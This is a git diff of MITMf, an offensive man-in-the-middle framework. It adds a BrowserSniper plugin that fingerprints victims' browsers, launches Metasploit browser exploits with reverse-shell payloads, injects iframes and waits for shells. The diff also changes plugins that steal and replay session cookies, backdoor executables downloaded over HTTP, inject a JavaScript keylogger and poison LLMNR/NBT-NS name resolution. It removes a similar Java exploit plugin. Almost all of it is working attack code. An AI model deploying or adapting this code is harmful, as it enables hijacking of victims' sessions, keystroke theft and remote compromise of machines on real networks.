avoid mass spoofing for this ip @@ -202,5 +201,3 @@ class AppCachePlugin(Plugin): return (name, section, 'raw',url) return (None, False,'',urls.copy().pop()) - - diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index e2ade2e..6104046 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -27,15 +27,15 @@ from core.beefapi import BeefAPI from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.Inject import Inject +from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class BeefAutorun(Inject, Plugin): +class BeefAutorun(Plugin): name = "BeEFAutorun" optname = "beefauto" desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" tree_output = [] - depends = ["Inject"] version = "0.3" has_opts = False diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 1b48b6a..53fc4e1 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -22,23 +22,25 @@ import logging from pprint import pformat from plugins.plugin import Plugin from plugins.Inject import Inject +from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class BrowserProfiler(Inject, Plugin): +class BrowserProfiler(Plugin): name = "Browser Profiler" optname = "browserprofiler" desc = "Attempts to enumerate all browser plugins of connected clients" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - depends = ["Inject"] - version = "0.2" + version = "0.3" has_opts = False def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.get_payload() self.dic_output = {} # so other plugins can access the results - + + inject = Inject() + inject.initialize(options) + inject.html_payload = self.get_payload() + ProxyPlugins.getInstance().addPlugin(inject) + def post2dict(self, post): #converts the ajax post to a dic dict = {} for line in post.split('&'): @@ -46,25 +48,29 @@ class BrowserProfiler(Inject, Plugin): dict[t[0]] = t[1] return dict - def sendPostData(self, request): + def clientRequest(self, request): #Handle the plugin output if 'clientprfl' in request.uri: + request.printPostData = False + self.dic_output = self.post2dict(request.postData) self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client if self.dic_output['plugin_list'] > 0: self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output)) + mitmf_logger.info("{} [{}] Got data:\n{}".format(request.client.getClientIP(), self.name, pretty_output)) def get_payload(self): payload = """""" - - return payload + plugindetect = open("./core/javascript/plugindetect.js", 'r').read() + return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py new file mode 100644 index 0000000..0d356a8 --- /dev/null +++ b/plugins/BrowserSniper.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import sys +import logging + +from time import sleep +from core.msfrpc import Msfrpc +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.BrowserProfiler import BrowserProfiler + +mitmf_logger = logging.getLogger("mitmf") + +class BrowserSniper(BrowserProfiler, Plugin): + name = "BrowserSniper" + optname = "browsersniper" + desc = "Performs drive-by attacks on clients with out-of-date browser plugins" + version = "0.4" + has_opts = False + + def initialize(self, options): + self.options = options + self.msfip = SystemConfig.getIP(options.interface) + self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit + + msfcfg = self.config['MITMf']['Metasploit'] + self.rpcip = msfcfg['rpcip'] + self.rpcpass = msfcfg['rpcpass'] + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + try: + self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary + self.msf.login('msf', self.rpcpass) + version = self.msf.call('core.version')['version'] + self.tree_info.append("Connected to Metasploit v{}".format(version)) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + + def startThread(self, options): + self.snipe() + + def onConfigChange(self): + self.initialize(self.options) + + def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning) + return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) + + def _getRandPort(self): + return random.randint(1000, 65535) + + def _setupExploit(self, exploit, msfport): + + rand_url = self._genRandURL() + rand_port = self._getRandPort() + #generate the command string to send to the virtual console + #new line character very important as it simulates a user pressing enter + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + #Create a virtual console + console_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [console_id, cmd]) + + return (rand_url, rand_port) + + def _compat_system(self, os_config, brw_config): + os = self.output['useragent'][0].lower() + browser = self.output['useragent'][1].lower() + + if (os_config == 'any') and (brw_config == 'any'): + return True + + if (os_config == 'any') and (brw_config in browser): + return True + + if (os_config in os) and (brw_config == 'any'): + return True + + if (os_config in os) and (brw_config in browser): + return True + + return False + + def getExploits(self): + exploits = list() + vic_ip = self.output['ip'] + + #First get the client's info + java = None + if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'): + java = self.output['java_version'] + + flash = None + if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'): + flash = self.output['flash_version'] + + mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash)) + + for exploit, details in self.config['BrowserSniper'].iteritems(): + + if self._compat_system(details['OS'].lower(), details['Browser'].lower()): + + if details['Type'].lower() == 'browservuln': + exploits.append(exploit) + + elif details['Type'].lower() == 'pluginvuln': + + if details['Plugin'].lower() == 'java': + if (java is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + elif details['Plugin'].lower() == 'flash': + + if (flash is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) + return exploits + + def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions + + #inject iframe + mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip)) + self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects + + #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds + #Will also make sure the shell actually came from the box that we targeted + #probably a much cleaner way of doing this :/ + mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) + exit_loop = False + poll_n = 1 + while poll_n <= 30: + + if exit_loop is True: + break + + sessions = self.msf.call('session.list') + if sessions: + for k, v in sessions.iteritems(): + if ip in sessions[k]['tunnel_peer']: + mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped + exit_loop = True + break + + poll_n += 1 + sleep(2) + + if exit_loop is False: #We didn't get a shell :( + mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) + + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + + def snipe(self): + while True: + if self.output: + vic_ip = self.output['ip'] + msfport = self.config['MITMf']['Metasploit']['msfport'] + exploits = self.getExploits() + + if not exploits: + if vic_ip not in self.sploited_ips: + mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) + self.sploited_ips.append(vic_ip) + self.black_ips = self.sploited_ips + + elif exploits and (vic_ip not in self.sploited_ips): + mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) + + inject_payload = '' + + for exploit in exploits: + + jobs = self.msf.call('job.list') #get running jobs + if jobs: + for pid, name in jobs.iteritems(): + info = self.msf.call('job.info', [pid]) + if (exploit in info['name']): + mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) + url = info['uripath'] #get the url assigned to the exploit + inject_payload += "".format(self.msfip, msfport, url) + else: + url, port = self._setupExploit(exploit, msfport) + inject_payload += "".format(self.msfip, port, url) + else: + url, port = self._setupExploit(exploit, msfport) + inject_payload += "".format(self.msfip, port, url) + + self.injectAndPoll(vic_ip, inject_payload) + + sleep(1) diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py index 9512e62..612dcbf 100644 --- a/plugins/FerretNG.py +++ b/plugins/FerretNG.py @@ -20,20 +20,20 @@ import logging +from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http from twisted.internet import reactor -from core.ferretNG.FerretProxy import FerretProxy -from core.ferretNG.URLMonitor import URLMonitor +from core.ferretng.FerretProxy import FerretProxy +from core.ferretng.URLMonitor import URLMonitor mitmf_logger = logging.getLogger("mitmf") class FerretNG(Plugin): name = "Ferret-NG" - optname = "ferret" + optname = "ferretng" desc = "Captures cookies and starts a proxy that will feed them to connected clients" - tree_output = list() version = "0.1" has_opts = True @@ -42,14 +42,16 @@ class FerretNG(Plugin): self.options = options self.ferret_port = 10010 or options.ferret_port - self.tree_output.append("Listening on port {}".format(self.ferret_port)) + self.tree_info.append("Listening on port {}".format(self.ferret_port)) def clientRequest(self, request): if 'cookie' in request.headers: host = request.headers['host'] cookie = request.headers['cookie'] - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(request.client.getClientIP(), host, cookie)) - URLMonitor.getInstance().cookies[host] = cookie + client = request.client.getClientIP() + if host not in URLMonitor.getInstance().cookies: + mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) + URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie} def pluginReactor(self, StrippingProxy): FerretFactory = http.HTTPFactory(timeout=10) @@ -57,4 +59,11 @@ class FerretNG(Plugin): reactor.listenTCP(self.ferret_port, FerretFactory) def pluginOptions(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG on (default 10010)') + options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file') + + def finish(self): + mitmf_logger.info("[Ferret-NG] Writing cookies to log file") + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file: + cookie_file.write(URLMonitor.getInstance().cookies) + cookie_file.close() \ No newline at end of file diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 54bf08a..54ccad6 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -61,6 +61,7 @@ import logging import shutil import random import string +import threading import tarfile import multiprocessing @@ -78,8 +79,7 @@ class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" desc = "Backdoor executables being sent over http using bdfactory" - implements = ["handleResponse"] - tree_output = ["BDFProxy v0.3.2 online"] + tree_info = ["BDFProxy v0.3.2 online"] version = "0.3" has_opts = False @@ -134,17 +134,23 @@ class FilePwn(Plugin): msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary msf.login('msf', rpcpass) version = msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v{}".format(version)) + self.tree_info.append("Connected to Metasploit v{}".format(version)) + + t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,)) + t.setDaemon(True) + t.start() except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + def setupMSF(self, msf): - self.tree_output.append("Setting up Metasploit payload handlers") jobs = msf.call('job.list') for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) cmd += "set LHOST {}\n".format(config["HOST"]) cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" if jobs: @@ -589,46 +595,46 @@ class FilePwn(Plugin): self.patched.put(tempZipFile) return - def handleResponse(self, request, data): + def serverResponse(self, response, request, data): - content_header = request.client.headers['Content-Type'] - client_ip = request.client.getClientIP() + content_header = response.headers['Content-Type'] + client_ip = response.getClientIP() if content_header in self.zipMimeTypes: if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("{} Detected supported zip file type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip)) process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) process.daemon = True process.start() - process.join() + #process.join() bd_zip = self.patched.get() if bd_zip: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_zip} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_zip} else: for tartype in ['gz','bz','tar']: if self.bytes_have_format(data, tartype): - mitmf_logger.info("{} Detected supported tar file type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip)) process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) process.daemon = True process.start() - process.join() + #process.join() bd_tar = self.patched.get() if bd_tar: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_tar} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_tar} elif content_header in self.binaryMimeTypes: for bintype in ['pe','elf','fatfile','machox64','machox86']: if self.bytes_have_format(data, bintype): - mitmf_logger.info("{} Detected supported binary type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype)) fd, tmpFile = mkstemp() with open(tmpFile, 'w') as f: f.write(data) @@ -636,15 +642,14 @@ class FilePwn(Plugin): process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) process.daemon = True process.start() - process.join() + #process.join() patchb = self.patched.get() if patchb: bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_binary} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_binary} - else: - mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header)) - return {'request': request, 'data': data} \ No newline at end of file + mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header)) + return {'response': response, 'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index f448b2b..d86b5ef 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -27,46 +27,45 @@ import argparse from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class Inject(Plugin): +class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" desc = "Inject arbitrary content into HTML content" - version = "0.2" + version = "0.3" has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.our_ip = SystemConfig.getIP(options.interface) - self.html_src = options.html_url - self.js_src = options.js_url - self.rate_limit = options.rate_limit - self.count_limit = options.count_limit - self.per_domain = options.per_domain - self.black_ips = options.black_ips - self.white_ips = options.white_ips - self.match_str = "" or options.match_str - self.html_payload = options.html_payload - self.ctable = {} - self.dtable = {} - self.count = 0 - self.mime = "text/html" + self.options = options + self.our_ip = SystemConfig.getIP(options.interface) + self.html_src = options.html_url + self.js_src = options.js_url + self.rate_limit = options.rate_limit + self.count_limit = options.count_limit + self.per_domain = options.per_domain + self.black_ips = options.black_ips.split(',') + self.white_ips = options.white_ips.split(',') + self.white_domains = options.white_domains.split(',') + self.black_domains = options.black_domains.split(',') + self.match_str = "" or options.match_str + self.html_payload = options.html_payload + self.ctable = {} + self.dtable = {} + self.count = 0 + self.mime = "text/html" if not options.preserve_cache: - cachekill = CacheKill() - cachekill.initialize(options) - ProxyPlugins.getInstance().addPlugin(cachekill) + CacheKill.initialize(self, options) def serverResponse(self, response, request, data): #We throttle to only inject once every two seconds per client #If you have MSF on another host, you may need to check prior to injection #print "http://" + response.client.getRequestHostname() + response.uri ip, hn, mime = self._get_req_info(response) - if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.our_ip): + if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip): if (not self.js_src == self.html_src is not None or not self.html_payload == ""): data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) self.ctable[ip] = time.time() @@ -81,20 +80,37 @@ class Inject(Plugin): def _ip_filter(self, ip): - if self.white_ips is not None: - if ip in self.white_ips.split(','): + if self.white_ips[0] != '': + if ip in self.white_ips: return True else: return False - if self.black_ips is not None: - if ip in self.black_ips.split(','): + if self.black_ips[0] != '': + if ip in self.black_ips: return False else: return True return True + def _host_filter(self, host): + + if self.white_domains[0] != '': + if host in self.white_domains: + return True + else: + return False + + if self.black_domains[0] != '': + if host in self.black_domains: + return False + else: + return True + + return True + + def _should_inject(self, ip, hn, mime): if self.count_limit == self.rate_limit is None and not self.per_domain: @@ -153,12 +169,14 @@ class Inject(Plugin): def pluginOptions(self, options): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default=None, help="String you would like to inject.") + options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") group = options.add_mutually_exclusive_group(required=False) group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") - group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") + group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)") + group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)") + group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)") + group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)") diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py deleted file mode 100644 index e563208..0000000 --- a/plugins/JavaPwn.py +++ /dev/null @@ -1,231 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import string -import random -import threading -import sys -import logging - -from time import sleep -from core.msfrpc import Msfrpc -from core.utils import SystemConfig -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler - -mitmf_logger = logging.getLogger("mitmf") - -class JavaPwn(Plugin): - name = "JavaPwn" - optname = "javapwn" - desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" - tree_output = [] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.msfip = SystemConfig.getIP(options.interface) - - try: - msfcfg = options.configfile['MITMf']['Metasploit'] - except Exception, e: - sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e)) - - try: - self.javacfg = options.configfile['JavaPwn'] - except Exception, e: - sys.exit("[-] Error parsing config for JavaPwn: {}".format(e)) - - self.msfport = msfcfg['msfport'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - self.black_ips = [] - - try: - self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - self.msf.login('msf', self.rpcpass) - version = self.msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v{}".format(version)) - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - def onConfigChange(self): - self.initialize(self.options) - - def startThread(self, options): - self.pwn() - - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - - def get_exploit(self, java_version): - exploits = [] - - client_vstring = java_version[:-len(java_version.split('.')[3])-1] - client_uversion = int(java_version.split('.')[3]) - - for ver in self.javacfg['Multi'].iteritems(): - if type(ver[1]) is list: - for list_vers in ver[1]: - - version_string = list_vers[:-len(list_vers.split('.')[3])-1] - update_version = int(list_vers.split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif (client_vstring == version_string): - if client_uversion <= update_version: - exploits.append(ver[0]) - else: - version_string = ver[1][:-len(ver[1].split('.')[3])-1] - update_version = int(ver[1].split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif client_vstring == version_string: - if client_uversion <= update_version: - exploits.append(ver[0]) - - return exploits - - - def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions - #inject iframe - mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip)) - self.html_payload = "".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - - mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip)) - - exit = False - i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit: - break - shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions - if len(shell) > 0: - for k, v in shell.iteritems(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted - mitmf_logger.info("{} >> Got shell!".format(client_ip)) - self.sploited_ips.append(client_ip) #target successfuly owned :) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit = True - break - sleep(2) - i += 1 - - if exit is False: #We didn't get a shell :( - mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip)) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def send_command(self, cmd, vic_ip): - try: - mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip)) - - #Create a virtual console - console_id = self.msf.call('console.create')['id'] - - #write the cmd to the newly created console - self.msf.call('console.write', [console_id, cmd]) - - mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip)) - except Exception, e: - mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e)) - - def pwn(self): - self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited - - vic_ip = brwprofile['ip'] - - mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version'])) - mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip)) - - exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg - - if exploits: - - if len(exploits) > 1: - mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits))) - exploit = random.choice(exploits) - mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit)) - else: - mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0])) - exploit = exploits[0] - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = self.msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k, v in jobs.iteritems(): - info = self.msf.call('job.info', [k]) - if exploit in info['name']: - mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(self.msf, url, vic_ip) - - else: #here we setup the exploit - rand_port = random.randint(1000, 65535) #generate a random port for the payload listener - rand_url = self.rand_url() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/{}\n".format(exploit) - cmd += "set SRVPORT {}\n".format(self.msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "exploit -j\n" - - mitmf_logger.debug("command string:\n{}".format(cmd)) - - self.send_command(cmd, vic_ip) - - self.injectWait(rand_url, vic_ip) - else: - #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) - mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip)) - mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip)) - - rand_url = self.rand_url() - rand_port = random.randint(1000, 65535) - - cmd = "use exploit/multi/browser/java_signed_applet\n" - cmd += "set SRVPORT {}\n".format(self.msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "exploit -j\n" - - self.send_command(cmd, vic_ip) - self.injectWait(rand_url, vic_ip) - sleep(1) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 2dceae8..892cc69 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -18,151 +18,54 @@ # USA # import logging +import re +import random +import string from plugins.plugin import Plugin from plugins.Inject import Inject -from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class jskeylogger(Plugin): - name = "Javascript Keylogger" +class jskeylogger(Inject, Plugin): + name = "JSKeylogger" optname = "jskeylogger" desc = "Injects a javascript keylogger into clients webpages" version = "0.2" has_opts = False def initialize(self, options): - inject = Inject() - inject.initialize(options) - inject.html_payload = self.msf_keylogger() - ProxyPlugins.getInstance().addPlugin(inject) + Inject.initialize(self, options) + self.html_payload = self.msf_keylogger() def clientRequest(self, request): - #Handle the plugin output if 'keylog' in request.uri: request.printPostData = False - client_ip = request.client.getClientIP() - raw_keys = request.postData.split("&&")[0] + input_field = request.postData.split("&&")[1] + keys = raw_keys.split(",") - del keys[0]; del(keys[len(keys)-1]) + if keys: + del keys[0]; del(keys[len(keys)-1]) - input_field = request.postData.split("&&")[1] + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n)) - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice.replace(nice[-1:], "") - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.error("{} [{}] Error decoding char: {}".format(client_ip, self.name, n)) - - mitmf_logger.info("{} [{}] Host: {} Field: {} Keys: {}".format(client_ip, self.name, request.headers['host'], input_field, nice)) + mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice)) def msf_keylogger(self): - #Stolen from the Metasploit module http_javascript_keylogger, modified to work in Android and IOS + keylogger = open("./core/javascript/msfkeylogger.js", "r").read() - payload = """""" - - return payload \ No newline at end of file + return '' diff --git a/plugins/Responder.py b/plugins/Responder.py index 9f72c01..e49bcfe 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -34,7 +34,7 @@ class Responder(Plugin): name = "Responder" optname = "responder" desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] version = "0.2" has_opts = True @@ -88,7 +88,32 @@ class Responder(Plugin): LDAPServer().start(smbChal) if options.analyze: - self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.IsICMPRedirectPlausible(self.ourip) + + def 